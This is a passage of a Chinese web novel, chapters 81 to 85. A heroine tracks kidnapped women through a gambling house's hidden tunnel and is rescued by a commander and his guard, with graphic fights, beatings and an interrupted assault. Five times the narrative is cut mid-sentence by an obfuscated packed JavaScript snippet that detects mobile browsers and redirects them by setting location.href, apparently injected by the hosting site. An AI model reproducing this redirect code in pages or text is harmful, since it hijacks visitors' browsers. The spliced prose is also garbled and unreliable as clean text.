傅流萤心中一动，立刻装作疲惫不堪的样子，扶着额头，脚步虚浮地朝那个角落“挪”去。 她靠在冰冷的墙壁上，身体缓缓下滑，像是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100798|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下来歇息。 在身体挡住旁人视线的瞬间，她闪电般出手，飞快地拨开堆在缝隙前的几个空麻袋和破筐。 一道仅容一人侧身通过的极其狭窄的缝隙赫然出现！ 里面黑黢黢的，散发着潮湿的霉味和食物残渣**的气息，似乎是厨房后堆放垃圾的通道，或者……是通风口？ 傅流萤没有丝毫犹豫，身体一缩，瞬间便悄无声息地钻了进去！ 通道内异常狭窄低矮，充斥着令人作呕的酸腐气味。 傅流萤几乎是匍匐着向前爬行，手脚并用，动作却异常迅捷。 粗糙的墙壁和地面摩擦着她的衣衫。 爬了大约十几米，前方隐约传来光亮和人声。 她小心翼翼地靠近尽头，那里似乎是一个类似天井的通风口，被几块腐朽的木板虚掩着，缝隙里透出微弱的光线。 傅流萤屏住呼吸，透过木板的缝隙向外望去。 眼前是一个不大的，堆满了杂物和泔水桶的肮脏后院。 空气中弥漫着浓烈的油烟味和腐臭味。 几个穿着油污围裙的帮厨正懒洋洋地坐在小板凳上剥蒜择菜，低声抱怨着什么。 她的目光越过这些杂役，投向院子的另一侧。 那里有一排低矮的平房。 看起来像是库房或者柴房。 其中一间房门口，赫然站着两个穿着黑色劲装的打手！ 他们抱着胳膊，腰挎短棍，如同两尊门神，眼神警惕地扫视着周围。 就在傅流萤目光扫过去的瞬间！ “吱呀……” 那间柴房的破木门从里面拉开了一条缝！ 一个穿着管事服饰，体态肥胖，满脸横肉的中年男人骂骂咧咧地走了出来，一边走一边整理着自己的腰带，脸上带着一种餍足又嫌恶的表情。 “妈的，又臭又硬！真**晦气！”他朝地上狠狠啐了一口浓痰。 就在他开门后，侧身走出的那一两秒空隙！ 傅流萤的瞳孔骤然收缩成针尖大小！ 第八十一章 找到人了 透过那道狭窄的门缝，她清晰地看到，昏暗的柴房内，地上蜷缩着几个身影！ 她们手脚都被粗大的麻绳捆得结结实实，嘴里塞着破布，头发散乱，衣衫被撕扯得凌乱不堪，露出的皮肤上布满了青紫的淤痕和血痕！ 其中两个身影，那熟悉的靛蓝色粗布衣裳，那包着头巾的侧影…… 正是春芽和夏婵！ 她们似乎已经昏厥过去，一动不动。 而另外两个身影，看衣着似乎是外面的良家妇女。 同样被捆着，正发出微弱的压抑的呜咽声，身体因恐惧而剧烈颤抖着。 那个胖管事走出门，反手重重地将柴房门关上，发出“哐当”一声闷响，隔绝了里面的景象。 他朝着门口那两个打手挥挥手，不耐烦地吩咐，“看紧点！等会儿上面来人，一并带过去！妈的，这趟差事真**倒胃口！一个好货都没有。” 说完，他骂骂咧咧地朝另一侧走去。 门口的两个打手应了一声，其中一个脸上带着猥琐的笑意，搓着手凑近门缝，似乎还想窥探里面的“风景”。 他们是不是对春芽和夏蝉做了什么？ 一想到他们做了禽兽不如的事情，傅流萤气得浑身发抖。 一股滔天的怒火混合着冰冷的杀意，瞬间冲垮了傅流萤所有的理智！ 这些人都罪该万死。 竟然将良家妇女虏来这里，做起了人口贩卖的生意。 这些人哪里配为人，简直跟畜生没什么两样。 傅流萤死死咬住下唇，铁锈般的腥甜味在口腔里弥漫开来，才勉强压住那几乎要冲口而出的怒吼！ 就在这时！ “哗啦……” 一声清脆又突兀的铁链拖拽声，猛地从柴房方向传来！ 在油腻嘈杂的后院里，这声音显得异常刺耳！ 门口那个正凑在门缝上的打手吓了一跳，猛地后退一步，警惕地看向房门。 柴房内，似乎传来几声更加剧烈的挣扎和呜咽声！ 其中一个打手脸色一沉，骂了一句“妈的还不老实！”猛地抽出腰间的短棍，一把拉开柴房门，气势汹汹地冲了进去！ “给老子闭嘴！想死是不是？” “你们这些丧尽天良的东西，放我们出去，你们一定会遭报应的，老天爷看在眼里你们坏事做尽，一定不得好死。” 她们骂的难听，两个打手一听，眼底闪过凶光。 紧接着，里面便传来沉闷的击打声和痛苦的闷哼， 傅流萤趴在通风口的阴影里，指甲深深抠进腐朽的木屑中，指节因为用力而泛出惨白。 她的身体绷紧如拉满的弓弦，胸腔里翻涌的怒火几乎要将她焚烧殆尽。 救？还是不救？ 救，此刻冲出去无异于自投罗网！ 以她一人之力，面对后院这些杂役和门口那个打手，或许能勉强周旋，但柴房里还有两个！ 而且一旦惊动，整个赌场的打手都会蜂拥而至！ 后果不堪设想！ 春芽夏婵她们现在被捆着，毫无反抗之力，反而会成为拖累！ 不救？ 难道眼睁睁看着她们被殴打、**，甚至……被上面的人带走？ 那可是活生生的人命。 她怎么能眼睁睁看着这些无辜的女子葬送了性命。 那个胖管事的话，如同毒蛇般缠绕在她心头！ 时间仿佛在这一刻凝固，每一秒都漫长得如同一个世纪。 汗水混合着污垢从额角滑落，滴进眼睛，带来一阵刺痛。 后院帮厨的抱怨声，柴房内短棍击打在肉体上的闷响，被打手呵斥的微弱呜咽…… 所有的声音都像是放大了无数倍，狠狠撞击着她的耳膜和心脏。 她该怎么办？ 二楼，幽暗角落。 残风的目光同样锐利地穿透帷幕的缝隙，扫视着下方赌场混乱的人群。 片刻，他眉头微蹙，压低声音禀报，“督主，傅小姐……不见了。” 萧玹摩挲扳指的动作，几不可察地顿了一下。 他深不见底的目光，如同无形的细针，再次扫过下方那片喧嚣的赌场。 人头攒动，烟雾缭绕，靛蓝色的粗布身影确实消失无踪。 “不见了？”他重复了一遍，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109297|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低沉依旧，听不出喜怒。 但残风却敏锐地感觉到，周围空气的温度似乎又降了几分。 萧玹的视线缓缓移向赌场深处那条有打手把守的通道入口。 片刻，又移向侧后方那扇通往油腻后厨的小门。 最后，他的目光落在大厅角落那堆叠的空酒坛和杂物上。 他的唇角，极其缓慢地，向上勾起了一个极其细微的弧度。 冰冷，幽深，带着一种洞悉一切的了然和……一丝难以言喻的兴味。 “呵……”萧玹的眼底透着一丝的嘲讽和玩味，眸色渐深，深处逐渐凝结着一层的冰霜之色。 “果然……是个不肯安分的。”他低语，声音轻得只有近在咫尺的残风才能勉强听到。 “督主，傅小姐那边……要不要施以援手？” 残风低着头，征求萧玹的意见。 他能看出来，督主对傅小姐的态度似乎很不一般。 他跟在督主的身边这么多年，从来没有见过督主对一个人女人这么伤心过。 除了傅小姐之外。 “残风。” “属下在！”残风立刻躬身。 萧玹的目光，如同两道冰冷的实质光束，穿透二楼的帷幕，仿佛能穿透层层叠叠的墙壁，精准地落向后院柴房的方向。 他薄唇轻启，声音不高，却带着一种主宰生死的冷酷决断，“去后院看着，非生死关头，不必出手相救。” 傅流萤在柴房外攥紧拳头，听着里面棍棒击打肉体的闷响。 “小娘皮还挺烈！”打手狞笑着撕扯夏婵的衣襟。 夏婵的嘴里骂骂咧咧着，“你们丧尽天良，一定不得好死。” “我们不得好死，呵呵呵，长得虽然丑了点，但好歹也是个女人，正好哥几个很久没有开荤了……” 说着，他粗暴地撕开了夏婵的衣服…… “住手！”就在这时，一声暴喝炸响，胖管事去而复返，“上面来人了！要活的！赶紧把人收拾干净带出来！” 打手悻悻收手，将昏迷的春芽夏婵粗暴拖起。 傅流萤指甲掐进掌心，她们要被带去哪里？ 第八十二章 被发现了 柴房内令人作呕的闷响停了。 傅流萤趴在狭窄通风口的阴影里，全身的血液都冻住了。 那扇破旧的门板被粗暴地拉开，发出刺耳的“吱呀”声。 两个打手骂骂咧咧地走出来，像拖拽破麻袋一样，一人一手拖着一个昏迷不醒的人。 春芽和夏婵！ 她们的头无力地垂着，身上的粗布衣裳被撕扯得更破，露出的手臂和小腿上全是交错纵横的青紫淤痕和渗血的伤口，头发散乱，脸上糊满了污垢和血渍，了无生气。 另外两个被掳来的女子也被粗暴地推搡出来，她们脸上是极致的惊恐和麻木，嘴里塞着破布，只能发出微弱的的“呜呜”声。 “动作快点！磨蹭什么！”胖管事腆着肚子，不耐烦地催促，脸上的横肉在昏暗光线里抖动，眼神里是毫不掩饰的嫌恶和贪婪，“上面等着验货呢！耽误了时辰，扒了你们的皮！” 一个打手悻悻地笑了笑，还想伸手去摸其中一个女子惨白的脸，“管事爷，这趟差事辛苦，兄弟们能不能……” “滚！”胖管事一脚踹过去，力道不重，却带着十足的鄙夷，“也不撒泡尿照照！这都是要换真金白银的货！弄脏了碰坏了，你拿命赔？赶紧走通道！绕开前头那些赌鬼，别他妈节外生枝！” 通道！ 傅流萤脑中那根绷到极致的弦猛地一颤！ 胖管事口中的“通道”，显然不是前厅那条有打手把守的明路，而是另有隐秘出口！ 打手们不敢再啰嗦，粗暴地押着四个女子，跟在胖管事身后，朝着后院角落一处被杂物和几捆湿漉漉的柴火半掩着的低矮小门走去。 那扇门黑黢黢的，几乎与肮脏的墙壁融为一体。 不能再等了！ 傅流萤的身体无声无息地从狭窄的通风口缩回，动作迅捷得没有带起一丝风声。 她的脚尖在潮湿冰冷的墙壁上一点，借着那一点微弱的反冲力，整个人便轻飘飘地落到了堆满泔水桶和腐烂菜叶的后院角落。 浓烈到令人窒息的腐臭瞬间将她包裹，她却像毫无所觉。 前世在地牢待了十年之久早就已经习惯了各种脏污不堪的味道。 现在这种味道对傅流萤来说，也算不得什么。 她的目光死死盯着前方。 胖管事掏出钥匙，打开了那扇不起眼的布满锈迹的铁门。 一股更加阴冷潮湿混合着土腥和霉烂的气息扑面涌出。 里面是一条向下延伸的狭窄甬道，黑得看不见底。 看来这家钱庄大有问题。 不仅经营着赌场，斗兽场，还有人口贩卖。 傅流萤的眸色深了深，忽然想到了京城近些年的人口失踪案。 除了女人之外，还有很多孩子也在失踪案中。 可是这家钱庄，她没有看到任何的孩子。 难道，他们还有别的窝点？ 傅流萤的心扑通扑通直跳，几乎要破膛而出。 机会只有这一瞬！ 她贴着墙根，借着后院堆叠的杂物阴影，跟了上去，动作快得只剩下一抹模糊的残影。 傅流萤将身体压到最低，每一步都精准地踏在阴影里，避开院中那几个懒散帮厨。 她几乎是紧贴着最后一个打手的脚跟，在那扇铁门即将关闭的刹那，倏地滑了进去！ “哐当！” 沉重的铁门在身后闭上，隔绝了后院那点微弱的光线。 眼前一片黑暗。 傅流萤适应了一会儿才继续往前走。 浓稠如墨的黑暗瞬间吞噬了一切，只有前方几支火把摇曳着昏黄的光晕。 傅流萤屏住呼吸，将身体紧紧贴在冰冷的石壁上，心跳如雷。 前方传来沉重的脚步声，粗重的喘息，女子压抑的呜咽还有胖管事不耐烦的低骂。 不知走了多久，前方终于出现了一点不同。 不再是单一的土壁，似乎开阔了一些。火把的光晕照亮了一小片相对平坦的、布满碎石的地面。 押送的队伍停了下来。 “妈的，歇口气！这鬼地方，憋死老子了！”一个打手抱怨着，声音在狭窄的空间里显得格外响亮。 他随手将手里拖着的、一个已经昏厥过去的女子像扔垃圾一样往旁边地上一丢。 另一个打手也喘着粗气，抹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109298|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把脸上的汗，骂骂咧咧地附和。 “就是！这趟差事**晦气！都是些破烂货，还死沉死沉的……”他一边说，一边下意识地松了松拽着夏婵胳膊的手，似乎想活动一下筋骨。 就在这一瞬间！ “哐啷啷……” 一声突兀刺耳的金属撞击声，猛地在这死寂的通道里如同惊雷一般炸响。 所有人都被这突如其来的巨响惊得浑身一僵！ 时间仿佛在这一刻凝固了万分之一秒。 死寂。 “谁？” 胖管事尖叫了一声，猛地转过身，一双在火把映照下闪烁着毒蛇般精光的眼睛，瞬间扫向声音来源的黑暗角落！ “后面！有人跟着！”押后的打手也反应过来，厉声嘶吼，同时猛地抽出腰间的短棍，火把的光晕瞬间照亮了他狰狞扭曲的脸。 数支火把同时转向！ 昏黄跳跃的光线如同无数条毒蛇的信子，直接照亮了傅流萤。 她的身影暴露在众人视线底下。 “抓住她！”胖管事脸上的横肉因为极致的暴怒剧烈抽搐，声音尖利得变了调，“要活的！老子倒要看看，是哪个不长眼的耗子敢钻到这阎王殿里来！” 傅流萤的脸色一变，脑子里只有一个念头。 跑！只有跑！ 大脑甚至来不及思考，身体的本能已经驱动着她猛地向后退。 然而，太晚了！ 前方的打手反应快得惊人！ 距离最近的两个打手，几乎在胖管事吼声落下的同时，已如两道黑色的闪电，一左一右，朝着傅流萤猛扑过来。 “哪里跑！” “找死！” 前路被堵死！后退无门！ 傅流萤眼底瞬间弥漫起一片冷意。 既然避无可避，那就迎难而上吧。 她定要博出一条路来。 傅流萤的身体猛地向下一沉，一道寒光在她指间一闪而逝！ 那是她一直藏在袖中防身的簪子。 “噗嗤！” 那根磨得尖锐无比的铁簪，精准了插在了距离她最近的那个打手脖子上。 第八十三章 从天而降的萧玹 那一瞬间的液体，如同喷泉般狂飙而出！ “呃……嗬嗬……” 那打手前扑的势头戛然而止，眼珠瞬间暴突出来，充满了难以置信的惊愕。 他喉咙里发出了怪响，身体僵直地晃了晃，手中的短棍“哐当”一声砸落在地。 腥热的血溅了傅流萤一脸！ 黏腻，滚烫，带着死亡的气息！ 她甚至来不及擦掉脸上的血珠，巨大的危机感已从右侧袭来！ 另一个打手的短棍朝着她的太阳穴狠狠砸落！ 傅流萤猛地矮身侧滚！ 动作狼狈却迅疾。 “砰！” 沉重的短棍砸在她刚才站立位置的土壁上，碎石飞溅。 刮起来的劲风刮得她脸颊生疼。 避无可避！ 傅流萤咬紧牙关，迎着他们的动作而上，同时反手将染血的铁簪向后狠狠刺去！ “砰！” 沉重的钝击狠狠砸在她的肩膀上。 一阵剧痛袭来。 骨头仿佛要碎裂开来的剧痛瞬间席卷全身！ 眼前猛地一黑！ 喉咙里涌上一股腥甜！ “唔！” 她闷哼一声，身体被巨大的力道砸得向前踉跄扑倒！ 而她反手刺出的铁簪，只在那打手的手臂上划开了一道浅浅的血口。 “妈的！**！老子弄死你！” 更多的打手围了上来！ 火把的光疯狂晃动，将傅流萤的身影死死钉在包围圈的中心，交织成一张死亡的大网，劈头盖脸地笼罩下来！ 胖管事站在包围圈外，看着傅流萤狼狈挣扎的身影，那张油腻的脸上露出了残忍而快意的狞笑。 他搓着肥厚的手掌，阴恻恻地开口，“给老子打断她的腿，看她还怎么蹦跶，留口气就行！” 一个身材格外魁梧的打手狞笑着应了一声，手中的短棍高高扬起，朝着傅流萤支撑身体的右腿膝盖，毫不留情地猛砸下去！ 这一棍若是砸实，腿骨必碎！ 傅流萤瞳孔骤然收缩。 她刚刚避开左侧袭来的棍影，身体重心不稳，根本无处可避！ 完了！ 绝望如同冰冷的潮水，瞬间淹没了她。 就在那千钧一发之际！ “咻……” 一道尖锐的声音。 只见一道模糊的黑影，精准无比地贯穿了那魁梧打手高高扬起的手臂！ “噗！” 是利刃穿透血肉，溅出血的声音。 “啊……” 那打手发出凄厉惨嚎。 所有人都被这突如其来的变故惊呆了！ 傅流萤猛地抬头，心脏狂跳，几乎要冲破喉咙。 恰在此时，一个身影无声无息地显现出来。 来人身穿玄色衣袍，斗笠的宽大帽檐压得很低，遮住了大半张脸，只露出线条冷硬如刀削的下颌。 他就那么随意地站在那里，却像一座冰山骤然降临，将通道都冻结了！ 阴冷死寂，带着无边无际的压迫感！ 是萧玹！ 傅流萤的呼吸猛地一窒，血液似乎都停止了流动，难以置信地看着那如同鬼魅般出现的身影。 他怎么来了？ 他竟然还没有离开。 “谁？装神弄鬼！”胖管事最先从惊骇中回神，色厉内荏地尖叫起来，肥胖的身体却下意识地向后退了一步，脸上的狞笑早已被惊惧取代。 他身边的打手们也反应过来，纷纷举起短棍和火把，惊恐又凶狠地指向上方的阴影。 可却没有人回答他们。 残风如同萧玹的影子，无声无息，手中两柄弯刀在昏暗的火光下反射逼人的寒芒。他眼底冰冷的杀意，比通道里的寒气更刺骨！ 残风动了！ 他整个人化作一道模糊的灰色虚影。 “噗！噗！噗！” 寒光所过之处，那些凶悍的打手，在脆弱得如同纸糊的一般。 他们甚至连像样的抵抗都没有，就死在了残风的刀下。 血腥味瞬间浓郁了十倍，浓得令人作呕。 胖管事脸上的血色瞬间褪得干干净净，如同刷了一层白灰。 他眼睁睁看着自己带来的精锐打手一个个倒下，那两道如同鬼魅般的身影在血雨腥风中穿梭，每一次寒光闪烁都带走一条性命。 极致的恐惧如同一只手死死扼住了他的喉咙，让他连尖叫都发不出！ 跑！必须跑！ 求生的本能压倒了一切！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113584|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他肥胖的身体爆发出前所未有的敏捷猛地转身头也不回往前跑，他甚至不敢回头看，只恨爹娘少生了两条腿。 然而，就在他转身迈出第一步的刹那， 一直如同冰雕般静立在上方阴影里的萧玹，动了！ 没有残风那惊心动魄的速度，只是随意地抬了抬手。 宽大的玄色袖袍无声地拂过。 “咻……” 破空声尖锐到极致。 胖管事肥胖的身躯猛地一僵。 狂奔的动作戛然而止。 他难以置信极其缓慢地低下头。 只见他的脖颈正前方，一个细小的几乎看不见的黑洞赫然出现。没有喷涌的血泉，只有一丝极细的、蜿蜒而下的暗红色血线。 他喉咙里发出“嗬…嗬…”的抽气声，眼珠瞪得几乎要裂出眼眶。 他想抬手去摸脖子，手臂却沉重得抬不起来。 肥胖的身体晃了晃，轰然向前扑倒！ “噗通！” 沉重的闷响砸在布满碎石的地面上，溅起一小片尘埃。 整个通道里，瞬间陷入了死一般的寂静。 只剩下火把燃烧发出的“噼啪”声，以及角落里两个被掳女子压抑到极致的恐惧的抽泣声。 残风的身影如同鬼魅般，在倒地的尸体间无声穿梭，手中的弯刀寒光一闪，干净利落地割断了捆缚着春芽夏婵以及另外两个女子的粗麻绳。 他的动作精准而迅捷，没有多看她们一眼。 傅流萤撑着剧痛的身体，踉跄着走到春芽和夏婵身边。 两个丫鬟依旧昏迷不醒，脸色灰败，气息微弱得吓人。 她颤抖的手指探向她们的颈脉，感受到那微弱却仍在跳动的搏动，紧绷到极致的心弦才稍稍松开了一丝。 随之而来的，是几乎将她淹没的后怕和虚脱感。 就在这时。 “嗒…嗒…嗒…” 沉稳清晰的脚步声，踏着碎石和黏稠的血泊，不疾不徐地响起。 傅流萤猛地抬头。 萧玹正从上方那浓重的阴影里，一步步走下来。 玄色的衣袍下摆拂过地面，却没有沾染上丝毫尘埃和血迹。 他走过的地方，连摇曳的火光都仿佛被冻结，变得黯淡冰冷。 第八十四章 求督主垂怜 他径直走到傅流萤面前，停住。 高大的身影投下的阴影，将半跪在地满身血污狼狈不堪的傅流萤完全笼罩。 冰冷的气息如同实质，瞬间将她包裹。 萧玹微微低头。 斗笠的阴影下，傅流萤只能看到他线条冷硬的下颌，还有那双深不见底如同寒潭古井般的黑眸。 那目光落在她脸上，带着一种居高临下的审视，冰冷，漠然，没有丝毫温度。 他缓缓抬起手。 那是一只骨节分明、极其修长有力的手。 大拇指上，一枚触手冰凉的扳指，在昏暗的光线下流转着冰冷的光。 冰冷的指腹擦过傅流萤染着鲜血和污迹的下颌。 动作轻佻，却又带着一种不容抗拒的威压。 傅流萤的身体瞬间僵硬，如同被毒蛇冰冷的信子舔过皮肤，一股寒意从尾椎骨直窜头顶！她下意识地想偏头躲开，却被那无形的压力钉在原地。 萧玹的手指停在她的下颌，微微用力，强迫她抬起那张布满血污狼狈不堪的脸，迎向他斗笠阴影下深不可测的目光。 “求人不如求己？” 萧玹冰冷的尾音微微上挑，带着一丝毫不掩饰的的嘲讽。 “傅小姐，你的本事呢？” 他冰冷的指腹带着不容抗拒的力量，捏住了傅流萤的下巴。 那触感，冰冷刺骨，激得傅流萤忍不住打了一个寒颤。 她被迫仰起头，撞入斗笠阴影下那双深不见底的黑眸里。那里没有温度，只有冰封的审视和一丝几不可察的嘲弄。 下颌被他捏着，碎裂般的剧痛阵阵袭来，几乎要抽干她的力气。 傅流萤强忍着眩晕和痛楚，浓密的眼睫低垂下来，在眼下投下一小片脆弱的阴影。 再抬眼时，那双原本锐利如鹰隼的眸子里，竟然氤氲了一层薄薄的水雾。 她的声音带上了一丝颤抖的哭腔，细弱蚊蝇，“督主……” 傅流萤艰难地吸了口气，仿佛用尽了全身的勇气才敢直视他那深渊般的眼，“流萤知错了，求督主垂怜。” 示弱。 这是她此刻唯一的武器。 萧玹摩挲着她下颌的指尖几不可察地顿了一下。 他微微歪了歪头，斗笠的阴影也随之偏移，露出一线冷硬的下颌线条。 那薄唇似乎极其缓慢地向上勾起了一个弧度，冰冷，却又带着一种近乎残忍的兴味。 “垂怜？”他重复着这两个字，声音轻飘飘的，却像重锤砸在傅流萤心头。 “呵……傅小姐这张嘴，倒是变得快，方才在楼上，不还口口声声自己解决，在本督面前演得那般倔强清高么？怎么？这龙潭虎穴里滚了一圈，骨头倒是软了？” 他的目光如同实质的冰锥，刺在傅流萤的心上，让她无所遁形。 她心底一片冰凉，面上却竭力维持着那般柔弱。 她垂下眼，避开那过于锐利的审视，声音更低，带着浓重的鼻音，仿佛下一刻就要哭出来。 “我不敢倔强，只恨自己不自量力，险些误了大事，还，还连累了督主。” 她顿了顿，吸了吸鼻子，继续道，“督主教训的是……识时务者，方为俊杰，流萤先前莽撞了。” “莽撞？”萧玹似乎低笑了一声，那笑声却毫无暖意，只有刺骨的寒意，“傅小姐岂止是莽撞？分明是胆大包天！孤身闯这狼窝虎穴，若非本督恰巧还有几分垂怜之心，此刻你已是这通道里的一具冰冷的尸体！” 最后两个字，他咬得极重，带着毫不掩饰的戾气。 傅流萤身体微微一颤，脸色更白了几分。 她确实后怕了。 若非他出现，她不敢想春芽夏婵的下场，更不敢想自己的结局。 就在萧玹还想说什么时。 “嗒…嗒…嗒……” “快！声音是从这边传来的！” “妈的，怎么回事？管事他们呢？” “有血腥味！很重！” 杂乱的脚步声由远及近，从通道的深处迅速传来！ 那声音越来越清晰，带着惊疑和暴怒，显然是赌场的人发现了异常，正循着血腥味追来！ 傅流萤的心瞬间提到了嗓子眼！ 萧玹眼中最后一丝玩味瞬间褪去，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113585|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下冷酷和杀伐决断。 他捏着傅流萤下颌的手猛地松开，下一瞬，手臂揽住了她纤细的腰肢，猛地将她带向怀里。 “唔！”猝不及防撞进他坚硬冰冷的胸膛，傅流萤闷哼一声，肩头的剧痛让她眼前发黑，鼻尖瞬间充斥着他身上冷冽的沉水香，混合着通道里浓重的血腥气，形成一种极其诡异的气息。 “走！” 萧玹低喝一声，揽着她，身形快速向后退，速度快得惊人！ 几乎在他动作的同时，残风已如一道灰色的闪电，一手一个，抄起地上依旧昏迷的春芽和夏婵！ 同时对着角落里那两个吓得瑟瑟发抖几乎瘫软在地的女子低喝，“跟上！想活命就别停！” 那两个女子如梦初醒，爆发出求生的本能，连滚爬爬地跟在残风身后。 萧玹搂着傅流萤，残风带着四个女子，沿着来时的通道疾退！ 身后的脚步声和呼喝声越来越近，火把的光亮已经隐隐能映照到他们刚刚停留之处的墙壁。 “站住！” “杀了他们！” “别让跑了！” 追兵的怒吼清晰可闻。 通道狭窄，带着人速度终究受限。 眼看身后的追兵就要迫近！ “断后。”萧玹的声音冷得没有一丝起伏。 残风立刻领会，将春芽和夏婵往那两个女子身边一推，低吼了一声，“带着她们，继续跑！别回头！” 话音未落，他身形猛地一顿，手中两柄弯刀瞬间出鞘，在昏暗的光线下划出两道死亡的寒芒！ “噗嗤……” “啊……” “拦住他……” 残风以一己之力，硬生生堵住了狭窄的通道口，暂时挡住了来人。 每一道刀光闪过，都伴随着一声绝望的惨叫和浓重的血腥气弥散。 傅流萤被萧玹带着疾行，回头只看到残风模糊又很决绝的背影，以及刀光映照下喷溅的鲜血。 她心脏狂跳，手心全是冷汗。 在残风用命争取的宝贵时间里，萧玹已带着他们冲出了那扇隐蔽的后院铁门！ 第八十五章 克妻的罪名 外面油腻肮脏的后院，那几个剥蒜的帮厨早已被通道里传来的恐怖声响吓得躲到了角落，惊恐地看着这群突然冲出的人。 萧玹看也未看他们，揽着傅流萤，脚步不停，径直穿过堆满杂物的后院。 残风也紧随其后冲了出来，灰色的劲装上溅满了暗红的血点，手中弯刀犹在滴血。 “走侧门！”萧玹命令。 残风立刻引路，带着众人冲向小门。 掀开布帘，里面是烟雾缭绕锅碗瓢盆乱响的厨房。 几个厨子正忙得热火朝天，被这群煞神闯入惊得目瞪口呆。 “滚开！”残风低吼一声，冰冷的杀气让厨子们噤若寒蝉，慌忙让开道路。 一行人畅通无阻地穿过混乱的厨房，从另一侧的小门冲了出去！ 外面是一条狭窄的后巷。 出去以后 傅流萤靠在萧玹冰冷的臂弯里，大口喘着气，肩头的剧痛和方才生死一线的刺激让她几乎虚脱。 那两个被救出的女子更是直接瘫软在地，其中一个甚至忍不住干呕起来，脸上是极致的恐惧和茫然。 萧玹松开了揽着傅流萤的手。 傅流萤失去支撑，踉跄了一下，勉强扶住旁边冰冷的墙壁才站稳。 萧玹的目光扫过那两个惊魂未定的女子，声音冷硬如铁，“家在何处？” 两个女子被他的气势慑住，瑟瑟发抖，语无伦次地报出了两个地址，都在京城的平民区。 “残风，送她们回去。”萧玹下令，目光却落在傅流萤身上。 “是！”残风应道，上前一步。 傅流萤强撑着站直身体，忍着肩痛，走到那两个女子面前。 她此刻脸上血污未干，发髻散乱，衣衫染血破烂，狼狈不堪，但那双眼睛却恢复了沉静和力量。 “两位姐姐，”她的声音有些沙哑，却带着一种安抚人心的力量，“今日之事，凶险万分，你们能活着出来，是老天开眼，回去后，今日所见所闻，一个字都不要对外提起，包括你们的家人，否则，恐有杀身之祸，明白吗？” 两个女子看着她，又看看旁边煞神般的萧玹和残风，拼命点头，眼泪簌簌而下，“明白！明白！谢谢姑娘！谢谢恩公！我们死也不会说的！” 傅流萤看着她们的眼睛，微微倾身，压低了声音，用只有她们能听到的音量问，“若他日，我需要你们站出来，指认这恒昌记的罪状，为你们自己，也为更多像你们一样被掳走的无辜女子讨个公道……你们可愿意？” 两个女子身体同时一僵，眼中瞬间爆发出强烈的恐惧。 恒昌记的势力，她们今日才窥见冰山一角，那血腥的手段让她们骨子里都在发寒。 傅流萤静静地看着她们，没有催促。 短暂的死寂后，其中一个年纪稍长脸上还带着淤青的女子猛地一咬牙，眼中迸射出一种豁出去的恨意和决绝。 “愿意！姑娘！我愿意！只要能弄垮这**的魔窟，让那些畜生不得好死，我什么都愿意做！我爹娘……我爹娘就是被他们逼死的！这仇，我记着！”她的声音因为激动和恨意而颤抖。 另一个女子见状，也含着泪，用力点头，声音哽咽却坚定，“我也愿意！我，我家小妹，去年就丢了，肯定也是他们干的！我要报仇！” “好！”傅流萤眼中闪过一丝满意，郑重地点点头，“记住你们今日的话。先回去，好好活着，照顾好自己。需要你们的时候，我会想办法找到你们。” “嗯！”两人重重点头，眼神里不再是单纯的恐惧。 残风不再耽搁，带着两人迅速消失在后巷的阴影里。 傅流萤这才松了口气，身体晃了晃，几乎站立不住。 她立刻转身，踉跄着走到春芽和夏婵身边。 